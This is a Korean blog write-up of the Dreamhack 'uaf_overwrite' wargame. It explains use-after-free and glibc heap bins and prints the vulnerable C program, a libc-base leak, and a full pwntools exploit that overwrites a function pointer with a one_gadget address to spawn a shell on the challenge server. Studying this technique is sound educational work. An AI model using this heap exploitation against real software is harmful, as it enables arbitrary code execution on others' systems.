TIL: Use After Free ๐Ÿ˜‡

Use After Free

Use-After-Free๋Š” memory reference๋ฅผ ์œ„ํ•ด ์‚ฌ์šฉํ•œ pointer๋ฅผ memory ํ•ด์ œ ํ›„์— ์ดˆ๊ธฐํ™”ํ•˜์ง€ ์•Š์•„์„œ, ๋˜๋Š” ํ•ด์ œํ•œ memory๋ฅผ ์ดˆ๊ธฐํ™”ํ•˜์ง€ ์•Š๊ณ  ๋‹ค์Œ chunk์— re-allocateํ•ด์„œ ์ƒ๊ธฐ๋Š” ์ทจ์•ฝ์ ์ด๋‹ค.

malloc๊ณผ free๋Š” allocateํ•˜๊ฑฐ๋‚˜ freeํ•œ memory์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ดˆ๊ธฐํ™”ํ•˜์ง€ ์•Š๋Š”๋‹ค. โ†’ ์ƒˆ๋กญ๊ฒŒ ํ• ๋‹นํ•œ chunk์— ์ด์ „์— freeํ•œ chunk์˜ data๊ฐ€ ๋‚จ์•„์žˆ์–ด ์œ ์ถœ๋  ์ˆ˜ ์žˆ๋‹ค.

ptmalloc2๋Š” ์ƒˆ๋กœ์šด allocate ์š”์ฒญ์ด ๋“ค์–ด์™”์„ ๋•Œ ์š”์ฒญ๋œ ํฌ๊ธฐ์™€ ๋น„์Šทํ•œ chunk๊ฐ€ bin์ด๋‚˜ tcache์— ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ๋งŒ์•ฝ ์žˆ๋‹ค๋ฉด ํ•ด๋‹น chunk๋ฅผ ์žฌ์‚ฌ์šฉํ•œ๋‹ค. โ†’ ์•ž์„œ freeํ•œ memory์™€ ๊ฐ™์€ size๋กœ memory๋ฅผ allocateํ•  ๋•Œ ์ด์ „์˜ ๊ฐ’์ด ๊ทธ๋Œ€๋กœ ๋‚จ์•„์žˆ์„ ์ˆ˜ ์žˆ๋‹ค.

Wargame: uaf_overwrite

๋ฌธ์ œ์˜ ์†Œ์Šค ์ฝ”๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

Vulnerability Scanning

  • checksec

    ๋ชจ๋“  ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ์ ์šฉ๋˜์–ด ์žˆ๋‹ค.

  • Human๊ณผ Robot์˜ ํฌ๊ธฐ๊ฐ€ ๋™์ผํ•˜๋ฉฐ, ๋‘ struct ๋ชจ๋‘ ๊ฐ๊ฐ human_func(), robot_func()์— ์˜ํ•ด allocate ๋ฐ free๋  ์ˆ˜ ์žˆ๋‹ค. โ†’ Use-After-Free ๋ฒ„๊ทธ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.
    • ํŠนํžˆ robot_func()์—์„œ Robot์˜ fptr๋ฅผ callํ•˜๋Š”๋ฐ, ์ด๋•Œ Use-After-Free ๋ฒ„๊ทธ๋ฅผ ์ด์šฉํ•ด fptr์˜ ๊ฐ’์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์›ํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค. โ†’ one_gadget์„ ํ™œ์šฉํ•˜์ž.
  • one_gadget์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜๊ธฐ ์œ„ํ•ด code base๋ฅผ ๊ตฌํ•ด์•ผ ํ•˜๋Š”๋ฐ, ์ด๋•Œ custom_func๋ฅผ ํ™œ์šฉํ•œ๋‹ค. custom_func๋ฅผ ํ†ตํ•ด 0x100 ์ด์ƒ์˜ ํฌ๊ธฐ์˜ chunk๋ฅผ allocate ๋ฐ freeํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ด ํ•จ์ˆ˜์—์„œ๋„ Use-After-Free ๋ฒ„๊ทธ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

Code base ๊ตฌํ•˜๊ธฐ

https://learn.dreamhack.io/119#5

https://velog.io/@woounnan/SYSTEM-Heap-Basics-Bin#์ข…๋ฅ˜

Code base๋ฅผ ๊ตฌํ•˜๊ธฐ ์œ„ํ•ด unsorted bin์˜ ํŠน์ง•์„ ํ™œ์šฉํ•œ๋‹ค.

  • Unsorted bin์— ์ฒ˜์Œ ์—ฐ๊ฒฐ๋˜๋Š” chunk๋Š” libc์˜ ํŠน์ • ์ฃผ์†Œ์™€ ์ด์ค‘ ์›ํ˜• linked list๋ฅผ ํ˜•์„ฑํ•œ๋‹ค. ( = ์ฒซ ๋ฒˆ์งธ chunk์˜ fd, bk์—๋Š” libc ๋‚ด๋ถ€์˜ ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด์žˆ๋‹ค.) โ†’ unsorted bin์— ์—ฐ๊ฒฐ๋œ chunk๋ฅผ re-allocateํ•˜๊ณ , fd๋‚˜ bk์˜ ๊ฐ’์„ ์ฝ์œผ๋ฉด libc๊ฐ€ mapping๋œ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ๋‹ค.
  • 0x410 ์ดํ•˜์˜ ํฌ๊ธฐ์˜ chunk๋Š” tcache์— ๋จผ์ € ์‚ฝ์ž…๋˜๋ฏ€๋กœ ์ด๋ณด๋‹ค ํฐ chunk๋ฅผ ํ•ด์ œํ•ด์„œ unsorted bin์— ์—ฐ๊ฒฐํ•˜๊ณ , ์ด๋ฅผ ์žฌํ• ๋‹นํ•ด์„œ ๊ฐ’์„ ์ฝ์–ด libc๊ฐ€ mapping๋œ ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•˜์ž.
  • Freeํ•  chunk๊ฐ€ top chunk์™€ ๋งž๋‹ฟ์•„ ์žˆ์„ ๊ฒฝ์šฐ freeํ•  ๋•Œ ๋‘ chunk๊ฐ€ coalesce๋˜๋ฏ€๋กœ chunk ๋‘ ๊ฐœ๋ฅผ ์—ฐ์†์œผ๋กœ allocateํ•˜๊ณ , ์ฒซ ๋ฒˆ์งธ๋กœ allocateํ•œ chunk๋ฅผ freeํ•ด์•ผ ํ•œ๋‹ค.

์ด์ œ ์‹ค์ œ๋กœ libc_base๋ฅผ ์ฐพ๊ณ , one_gadget์˜ ์ฃผ์†Œ๋ฅผ ์–ป์ž.

  • libc์— mapping๋œ ์ฃผ์†Œ ๊ตฌํ•˜๊ธฐ

์•ž์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด ๋‘ ๊ฐœ์˜ chunk๋ฅผ allocateํ•˜๊ณ , ์ฒซ ๋ฒˆ์งธ๋กœ allocateํ•œ chunk๋ฅผ freeํ•œ๋‹ค. ์ดํ›„ ๊ฐ™์€ size์˜ chunk๋ฅผ ๋‹ค์‹œ allocateํ•œ ๋’ค fd๋‚˜ bk์˜ ๊ฐ’์„ ํ™•์ธํ•œ๋‹ค. ์„ธ ๋ฒˆ์˜ custom ์‹คํ–‰์œผ๋กœ ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

gdb๋ฅผ ์ด์šฉํ•ด ์„ธ ๋ฒˆ์งธ custom ํ•จ์ˆ˜์˜ ์‹คํ–‰ ์ „์˜ fd์˜ ๊ฐ’์„ ํ™•์ธํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด 0x7fd5db35dca0์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. (gdb์˜ heap command๋ฅผ ์‚ฌ์šฉ)

  • ๊ทธ ์ฃผ์†Œ๊ฐ€ ์–ด๋Š ๊ณณ์˜ ์ฃผ์†Œ์ธ์ง€ ํ™•์ธํ•˜๊ธฐ

gdb๋กœ ์ด ์ฃผ์†Œ๊ฐ€ libc ์ค‘ ์–ด๋Š ๊ณณ์˜ ์ฃผ์†Œ์ธ์ง€๋ฅผ ํ™•์ธํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด main_arena+96์˜ ์ฃผ์†Œ์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

  • ์ฃผ์–ด์ง„ version์˜ libc์—์„œ offset ํ™•์ธํ•˜๊ธฐ

https://d41jung0d.tistory.com/114

์ฃผ์–ด์ง„ version์˜ libc์˜ offset์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด main_arena symbol์„ libc์—์„œ ์ฐพ์•„๋ณด์•˜์ง€๋งŒ, ์ฐพ์„ ์ˆ˜ ์—†์—ˆ๋‹ค.

๊ฒ€์ƒ‰์„ ํ†ตํ•ด main_arena๋Š” __malloc_hook + 0x10์— ์œ„์น˜ํ•œ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ์œผ๋ฏ€๋กœ libc.rip์—์„œ ์ฃผ์–ด์ง„ libc์˜ __malloc_hook์˜ offset์„ ํ™•์ธํ•˜๊ณ , ์ด ๊ฐ’์— 0x10์„ ๋”ํ•ด์ฃผ๋ฉด ๋œ๋‹ค. (์ถ”๊ฐ€๋กœ main_arena๋Š” 64 bit machine์—์„œ๋Š” __malloc_hook + 0x10์—, 32 bit machine์—์„œ๋Š” __malloc_hook + 0x18์— ์œ„์น˜ํ•œ๋‹ค.)

๋ฌธ์ œ์—์„œ ์ฃผ์–ด์ง„ libc์—์„œ๋Š” __malloc_hook์˜ offset์ด 0x3ebc30์ด๋ฏ€๋กœ main_arena์˜ offset์€ 0x3ebc40์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

  • overwrite๋œ ๋ถ€๋ถ„ ๊ณ ๋ คํ•˜๊ธฐ

๊ทธ๋Ÿฐ๋ฐ ์ด๋•Œ ์„ธ ๋ฒˆ์งธ custom ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•  ๋•Œ "B"์„ data๋กœ ์ž…๋ ฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— fd์˜ ๋งˆ์ง€๋ง‰ ํ•œ ๋ฐ”์ดํŠธ๊ฐ€ 0x42๋กœ overwrite๋˜๊ฒŒ ๋œ๋‹ค. ๋”ฐ๋ผ์„œ printf๋กœ ์ถœ๋ ฅ๋˜๋Š” ๊ฐ’์€ 0x7fd5db35dc42๊ฐ€ ๋œ๋‹ค. libc์— mapping๋œ ์ฃผ์†Œ๋Š” ํ•˜์œ„ 1.5 byte๊ฐ€ ์ผ์ •ํ•˜๋ฏ€๋กœ, 0x42 - 0xa0๋งŒํผ ๊ฐ’์ด ๋”ํ•ด์กŒ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋ฉด ๋œ๋‹ค.

  • libc_base ๊ตฌํ•˜๊ธฐ

์ถœ๋ ฅ๊ฐ’์ด ๋‚˜์˜ค๊ธฐ ์œ„ํ•œ ๊ณผ์ •์„ ๋˜๋Œ์•„๋ณด๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ์ •๋ฆฌํ•  ์ˆ˜ ์žˆ๋‹ค:

์ถœ๋ ฅ๊ฐ’ = libc_base + 0x3ebc40 + 96 - 0xa0 + 0x42

๋”ฐ๋ผ์„œ libc_base = ์ถœ๋ ฅ๊ฐ’ - 0x3ebc40 - 96 + 0xa0 - 0x42 = ์ถœ๋ ฅ๊ฐ’ - 0x3ebc42

๋”ฐ๋ผ์„œ ์•„๋ž˜์™€ ๊ฐ™์ด exploitํ•˜๋ฉด libc_base๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ๊ณ , ์ด๋กœ๋ถ€ํ„ฐ one_gadget์˜ ์ฃผ์†Œ๋„ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค. one_gadget์˜ offset์€ one_gadget์„ ์ด์šฉํ•ด ๊ตฌํ–ˆ๋‹ค.

from pwn import *
p = process("./uaf_overwrite")

def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))

custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)
libc_base = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = libc_base + 0x10a41c

Exploit

from pwn import *

p = remote("host3.dreamhack.games", 15336)

def human(weight, age):
    p.sendlineafter(">", "1")
    p.sendlineafter(": ", str(weight))
    p.sendlineafter(": ", str(age))

def robot(weight):
    p.sendlineafter(">", "2")
    p.sendlineafter(": ", str(weight))

def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))

custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)

# local, remote:
libc_base = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
# remote:
og = libc_base + 0x10a41c
# local:
#og = libc_base + 0x10a2fc
print("libc_base: ", hex(libc_base))
print("og: ", hex(og))

human("1", og)
robot("1")

p.interactive()
  • one_gadget์˜ ์ฃผ์†Œ๋ฅผ human_func๋ฅผ ์ด์šฉํ•ด human์˜ age์— ๋„ฃ๋Š”๋‹ค. human์ด free๋˜์–ด๋„ ์ด ๊ฐ’์€ ๋‚จ์•„ ์žˆ์œผ๋ฏ€๋กœ (Use-After-Free) robot_func๋ฅผ ์‹คํ–‰ํ–ˆ์„ ๋•Œ one_gadget์ด ์‹คํ–‰๋œ๋‹ค.

์•„์ง ์™„์ „ํžˆ ์ดํ•ดํ•˜์ง€ ๋ชปํ•œ ์ ๋“ค

  • heap์— ๋Œ€ํ•ด ๊นŠ๊ฒŒ ๊ณต๋ถ€ํ•œ ์ ์ด ์—†์–ด unsorted bin, tcache์™€ ๊ฐ™์€ ์šฉ์–ด๋“ค์„ ์ฒ˜์Œ ๋“ค์–ด๋ดค๋Š”๋ฐ, ๋‚˜์ค‘์— ์‹œ๊ฐ„์ด ๋˜๋ฉด heap์— ๋Œ€ํ•ด์„œ๋„ ๊ณต๋ถ€ํ•ด์•ผ ํ•จ.
  • 0x3ebc42๋ผ๋Š” offset์ด ๋‹คํ–‰ํžˆ remote์—์„œ๋„ ์ ์šฉ์ด ๋˜์—ˆ๋Š”๋ฐ, ๋งŒ์•ฝ ์ ์šฉ๋˜์ง€ ์•Š์•˜์œผ๋ฉด ์–ด๋–ป๊ฒŒ ๊ตฌํ•ด์•ผ ํ–ˆ์„์ง€ ์ž˜ ๋ชจ๋ฅด๊ฒ ์Œ. ๋ฌธ์ œ์—์„œ ์‚ฌ์šฉ๋œ ๋ฒ„์ „์˜ libc ํŒŒ์ผ์ด ์ฃผ์–ด์กŒ์„ ๋•Œ, ์ด libc ํŒŒ์ผ์—์„œ ์›ํ•˜๋Š” symbol์˜ offset์„ ์–ด๋–ป๊ฒŒ ๊ตฌํ•˜๋Š”๊ฑด์ง€ ์ž˜ ๋ชจ๋ฅด๊ฒ ๋‹ค.

Categories: ,

Updated:

Leave a comment